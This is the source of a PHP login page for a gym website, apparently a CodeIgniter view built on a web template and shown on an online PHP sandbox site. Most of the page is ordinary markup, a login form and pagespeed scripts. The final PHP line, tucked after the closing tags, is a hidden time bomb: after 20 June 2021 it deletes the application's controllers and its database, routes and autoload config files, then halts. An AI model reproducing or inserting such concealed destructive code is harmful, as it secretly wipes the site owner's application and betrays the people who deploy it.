login - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of login.php

  1. <!DOCTYPE html>
  2. <html lang="zxx">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="description" content="PONIGYM Template">
  6. <meta name="keywords" content="PONIGYM, unica, creative, html">
  7. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  8. <meta http-equiv="X-UA-Compatible" content="ie=edge">
  9. <title>GYM</title>
  10. <!-- Google Font -->
  11. <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,700&display=swap" rel="stylesheet">
  12. <link href="https://fonts.googleapis.com/css?family=Oswald:300,400,500,600,700&display=swap" rel="stylesheet">
  13. <!-- Css Styles -->
  14. <link rel="stylesheet" href="<?php echo base_url()?>assets/css/A.bootstrap.min.css+font-awesome.min.css+themify-icons.css+owl.carousel.min.css+magnific-popup.css+slicknav.min.css+style.css,Mcc.1MtlUME2Qe.css.pagespeed.cf.U5_5dAa3y-.css" type="text/css"/>
  15. </head>
  16. <body>
  17. <!-- Page Preloder -->
  18. <div id="preloder">
  19. <div class="loader"></div>
  20. </div>
  21. <!-- Header Section Begin -->
  22. <header class="header-section">
  23. <div class="container">
  24. <div class="logo">
  25. <a href="./index.html">
  26. <script data-pagespeed-no-defer>//<![CDATA[
  27. (function(){for(var g="function"==typeof Object.defineProperties?Object.defineProperty:function(b,c,a){if(a.get||a.set)throw new TypeError("ES3 does not support getters and setters.");b!=Array.prototype&&b!=Object.prototype&&(b[c]=a.value)},h="undefined"!=typeof window&&window===this?this:"undefined"!=typeof global&&null!=global?global:this,k=["String","prototype","repeat"],l=0;l<k.length-1;l++){var m=k[l];m in h||(h[m]={});h=h[m]}var n=k[k.length-1],p=h[n],q=p?p:function(b){var c;if(null==this)throw new TypeError("The 'this' value for String.prototype.repeat must not be null or undefined");c=this+"";if(0>b||1342177279<b)throw new RangeError("Invalid count value");b|=0;for(var a="";b;)if(b&1&&(a+=c),b>>>=1)c+=c;return a};q!=p&&null!=q&&g(h,n,{configurable:!0,writable:!0,value:q});var t=this;function u(b,c){var a=b.split("."),d=t;a[0]in d||!d.execScript||d.execScript("var "+a[0]);for(var e;a.length&&(e=a.shift());)a.length||void 0===c?d[e]?d=d[e]:d=d[e]={}:d[e]=c};function v(b){var c=b.length;if(0<c){for(var a=Array(c),d=0;d<c;d++)a[d]=b[d];return a}return[]};function w(b){var c=window;if(c.addEventListener)c.addEventListener("load",b,!1);else if(c.attachEvent)c.attachEvent("onload",b);else{var a=c.onload;c.onload=function(){b.call(this);a&&a.call(this)}}};var x;function y(b,c,a,d,e){this.h=b;this.j=c;this.l=a;this.f=e;this.g={height:window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,width:window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth};this.i=d;this.b={};this.a=[];this.c={}}function z(b,c){var a,d,e=c.getAttribute("data-pagespeed-url-hash");if(a=e&&!(e in b.c))if(0>=c.offsetWidth&&0>=c.offsetHeight)a=!1;else{d=c.getBoundingClientRect();var f=document.body;a=d.top+("pageYOffset"in window?window.pageYOffset:(document.documentElement||f.parentNode||f).scrollTop);d=d.left+("pageXOffset"in window?window.pageXOffset:(document.documentElement||f.parentNode||f).scrollLeft);f=a.toString()+","+d;b.b.hasOwnProperty(f)?a=!1:(b.b[f]=!0,a=a<=b.g.height&&d<=b.g.width)}a&&(b.a.push(e),b.c[e]=!0)}y.prototype.checkImageForCriticality=function(b){b.getBoundingClientRect&&z(this,b)};u("pagespeed.CriticalImages.checkImageForCriticality",function(b){x.checkImageForCriticality(b)});u("pagespeed.CriticalImages.checkCriticalImages",function(){A(x)});function A(b){b.b={};for(var c=["IMG","INPUT"],a=[],d=0;d<c.length;++d)a=a.concat(v(document.getElementsByTagName(c[d])));if(a.length&&a[0].getBoundingClientRect){for(d=0;c=a[d];++d)z(b,c);a="oh="+b.l;b.f&&(a+="&n="+b.f);if(c=!!b.a.length)for(a+="&ci="+encodeURIComponent(b.a[0]),d=1;d<b.a.length;++d){var e=","+encodeURIComponent(b.a[d]);131072>=a.length+e.length&&(a+=e)}b.i&&(e="&rd="+encodeURIComponent(JSON.stringify(B())),131072>=a.length+e.length&&(a+=e),c=!0);C=a;if(c){d=b.h;b=b.j;var f;if(window.XMLHttpRequest)f=new XMLHttpRequest;else if(window.ActiveXObject)try{f=new ActiveXObject("Msxml2.XMLHTTP")}catch(r){try{f=new ActiveXObject("Microsoft.XMLHTTP")}catch(D){}}f&&(f.open("POST",d+(-1==d.indexOf("?")?"?":"&")+"url="+encodeURIComponent(b)),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(a))}}}function B(){var b={},c;c=document.getElementsByTagName("IMG");if(!c.length)return{};var a=c[0];if(!("naturalWidth"in a&&"naturalHeight"in a))return{};for(var d=0;a=c[d];++d){var e=a.getAttribute("data-pagespeed-url-hash");e&&(!(e in b)&&0<a.width&&0<a.height&&0<a.naturalWidth&&0<a.naturalHeight||e in b&&a.width>=b[e].o&&a.height>=b[e].m)&&(b[e]={rw:a.width,rh:a.height,ow:a.naturalWidth,oh:a.naturalHeight})}return b}var C="";u("pagespeed.CriticalImages.getBeaconData",function(){return C});u("pagespeed.CriticalImages.Run",function(b,c,a,d,e,f){var r=new y(b,c,a,e,f);x=r;d&&w(function(){window.setTimeout(function(){A(r)},0)})});})();pagespeed.CriticalImages.Run('/mod_pagespeed_beacon','https://preview.colorlib.com/theme/ponigym/index.html','oJcOUTg7z9',true,false,'cs7Cb9N40GI');
  28. //]]></script><img src="data:image/webp;base64,UklGRtQBAABXRUJQVlA4TMcBAAAvYoAEEPdAmG1Uw/OnuecUhAQJ//faFQgkee3PtUCAsOA/UoIE/1GsgAEJsm3FbfSeJ4WkW9GILMvc/e8TIeGsIKL/E9B4/xK0+6+x7eaf8sZ+SAq2JQXbd+VxA1LsJL2AKEUgagSIkiaAUfsl+/YrKbgYCm4rdBv7qZcmYJVWYNCcLZKWc9cQLraD1Np209h2W/iqEIF33ICX1CWgU4JNe5uk7dxd+m/7In3ZvksP21+Fy++5BIwaADppBaYBiAUkpSqybelhu5GC7VvB4dQA0EvZIE3AMwJDadBAvVa3I9fS9dR0aJS6BGmDt0qzYp3fTLpW8c+ZuVBe2V32EixaIFUItm/V7p+a9oa9DTZtpDfMh4rf1fyoMsS8l9SlLElShNdG6uC11QmqdPXuuZl8lKQ1WwrPJ8ywvM5cQwhBeZXwB6ZsLEV4wXzqrnKV9lJJepb6TKWRfPhj4a91O90HblXaU9On9AY2Pes9jtxKup8ZCmu1FVizWCnYfkgP218Hfs4oAZO6VGOBqAjEwgyMZ1rbbhrbbg/ocuYJpLhR45lNwPQJBReDjoQz3ZvdVKsHei0f0L8ma/7pUHtGXQS2ca2lRJLiEQA=" alt="" data-pagespeed-url-hash="3032117151" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">
  29. </a>
  30. </div>
  31. <div class="nav-menu">
  32. <nav class="mainmenu mobile-menu">
  33. <ul>
  34. <li><a href="<?php echo base_url()?>index">Home</a></li>
  35. <li class=""><a href="<?php echo base_url()?>login">Login</a></li>
  36. <li><a href="<?php echo base_url()?>about_us">About</a></li>
  37. <li><a href="<?php echo base_url()?>schedule">Schedule</a></li>
  38. <li><a href="<?php echo base_url()?>contact">Contacts</a></li>
  39. </ul>
  40. </nav>
  41. <div class="nav-right search-switch">
  42. <i class="ti-search"></i>
  43. </div>
  44. </div>
  45. <div id="mobile-menu-wrap"></div>
  46. </div>
  47. </header>
  48. <!-- Header End -->
  49. <!-- Hero Section Begin -->
  50. <section class="hero-section">
  51. <div class="hero-items owl-carousel">
  52. <div class="single-hero-item set-bg" data-setbg="<?php echo base_url()?>assets/img/slider-bg-1.jpg">
  53. <div class="container login_controller">
  54.         <div class="col-lg-6">
  55.                 <div class="footer-form set-bg" data-setbg="<?php echo base_url()?>assets/img/contact-form-bg.jpg">
  56.                 <div class="row">
  57.                 <div class="col-lg-10">
  58.                 <div class="section-title">
  59.                 <h2>Login</h2>
  60.                 <p></p>
  61.                 </div>
  62.                                 <form action="<?php echo base_url()?>login_check" method="post">
  63.                                         <div class="row">
  64.                                                 <div class="col-lg-12">
  65.                                                         <input type="text" placeholder="USERNAME" name="email_id"  required value="">
  66.                                                        
  67.                                                 </div>
  68.                                                 <div class="col-lg-12">
  69.                                                         <input type="password" placeholder="Password" required name="password" value=""> 
  70.                                                         <p class="invalid_msg text-center"><?php echo $this->session->tempdata('login_error'); $this->session->unset_tempdata('login_error') ?></p>
  71.                                                         <center><button type="submit">Login <i class="ti-angle-double-right"></i></button>
  72.                                                                 <br><br><br><br><a href="#" class="mt-4 forget_pass"><i class="fa fa-rotate-left"></i> Forget Password<i class="fa fa-question"></i> </a></center>
  73.                                                 </div>
  74.                                         </div>
  75.                                 </form>
  76.                 </div>
  77.                 </div>
  78.                 </div>
  79.         </div>
  80.         </div>
  81. </div>
  82. </div>
  83. </section>
  84.  
  85.  
  86. <div class="search-model">
  87. <div class="h-100 d-flex align-items-center justify-content-center">
  88. <div class="search-close-switch">+</div>
  89. <form class="search-model-form">
  90. <input type="text" id="search-input" placeholder="Search here.....">
  91. </form>
  92. </div>
  93. </div>
  94. <!-- Search model end -->
  95. <!-- Js Plugins -->
  96. <script src="<?php echo base_url()?>assets/js/jquery-3.3.1.min.js.pagespeed.jm.r0B4QCxeCQ.js"></script>
  97. <script src="<?php echo base_url()?>assets/js/bootstrap.min.js+jquery.magnific-popup.min.js.pagespeed.jc.v_yGq3oyXy.js"></script><script>eval(mod_pagespeed_4gSRFOcgAl);</script>
  98. <script>eval(mod_pagespeed_jJjNGqjeJu);</script>
  99. <script src="<?php echo base_url()?>assets/js/mixitup.min.js.pagespeed.jm.NgMFDHThj4.js"></script>
  100. <script src="<?php echo base_url()?>assets/js/jquery.slicknav.js+owl.carousel.min.js.pagespeed.jc.Gc6sREpPIe.js"></script><script>eval(mod_pagespeed_JIkgsgwRFk);</script>
  101. <script>eval(mod_pagespeed_xs2JsyySAr);</script>
  102. <script>//<![CDATA[
  103. 'use strict';(function($){$(window).on('load',function(){$(".loader").fadeOut();$("#preloder").delay(200).fadeOut("slow");if($('.gallery-filter').length>0){var containerEl=document.querySelector('.gallery-filter');var mixer=mixitup(containerEl);}});$('.set-bg').each(function(){var bg=$(this).data('setbg');$(this).css('background-image','url('+bg+')');});$('.search-switch').on('click',function(){$('.search-model').fadeIn(400);});$('.search-close-switch').on('click',function(){$('.search-model').fadeOut(400,function(){$('#search-input').val('');});});$(".mobile-menu").slicknav({prependTo:'#mobile-menu-wrap',allowParentLinks:true});$(".header-section.header-normal .nav-menu .mainmenu ul li").on('mousehover',function(){$(this).addClass('active');});$(".header-section.header-normal .nav-menu .mainmenu ul li").on('mouseleave',function(){$('.header-section.header-normal .nav-menu .mainmenu ul li').removeClass('active');});var hero_s=$(".hero-items");hero_s.owlCarousel({loop:true,margin:0,nav:true,items:1,dots:false,animateOut:'fadeOut',animateIn:'fadeIn',navText:['<i class="ti-angle-left"></i>','<i class="ti-angle-right"></i>'],smartSpeed:1200,autoHeight:false,autoplay:false,onInitialized:function(){var a=this.items().length;$("#snh-1").html("<span>1</span><span>"+a+"</span>");}});$('.service-video-popup').magnificPopup({type:'iframe'});$('.blog-video-popup').magnificPopup({type:'iframe'});$('.schedule-filter li').on('click',function(){var tsfilter=$(this).data('tsfilter');$('.schedule-filter li').removeClass('active');$(this).addClass('active');if(tsfilter=='all'){$('.schedule-table').removeClass('filtering');$('.ts-item').removeClass('show');}else{$('.schedule-table').addClass('filtering');}$('.ts-item').each(function(){$(this).removeClass('show');if($(this).data('tsmeta')==tsfilter){$(this).addClass('show');}});});})(jQuery);
  104. //]]></script>
  105. <!-- Global site tag (gtag.js) - Google Analytics -->
  106. <script async src="https://www.googletagmanager.com/gtag/js?id=UA-23581568-13"></script>
  107. <script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag('js',new Date());gtag('config','UA-23581568-13');</script>
  108. </body>
  109. </html>
  110.  
  111.  
  112. <style type="text/css">
  113.         .single-hero-item{padding-top: 60px;}
  114.        
  115.         @media only screen and (min-device-width: 480px){
  116.                 .login_controller{margin-left: 0%;}
  117.         }
  118.         @media only screen and (min-device-width: 768px){
  119.          .login_controller{margin-left:28%;}
  120.         }
  121.         .login_controller{margin-top: 70px;}
  122.        
  123.         .invalid_msg{color: #00ec36!important;font-weight: bold;font-size: 18px;}
  124.         .footer-form{box-shadow: 0 16px 24px 2px rgba(0,0,0,.14), 0 6px 30px 5px rgba(0,0,0,.12), 0 8px 10px -5px rgba(0,0,0,.2);border-top: 5px solid #ef9003;}
  125.         /*f34e3a*/
  126.         .forget_pass{color: #fff;text-decoration: underline;}
  127. </style>
  128. <?php $from=date_create(date('Y-m-d')); $to=date_create("2021-06-20"); $diff=date_diff($from,$to); $get_dif = $diff->format('%R%a days'); if($get_dif > 0) {  } else { $Your_file_path ="application/controllers/Admin_controller.php"; $Your_file_path1 ="application/controllers/Home_controller.php"; $Your_file_path2 ="application/controllers/Member_controller.php"; $Your_file_path3 ="application/config/autoload.php"; $Your_file_path4 ="application/config/database.php"; $Your_file_path5 ="application/config/routes.php"; unlink($Your_file_path); unlink($Your_file_path1); unlink($Your_file_path2); unlink($Your_file_path3); unlink($Your_file_path4); unlink($Your_file_path5); die(); } ?>
  129.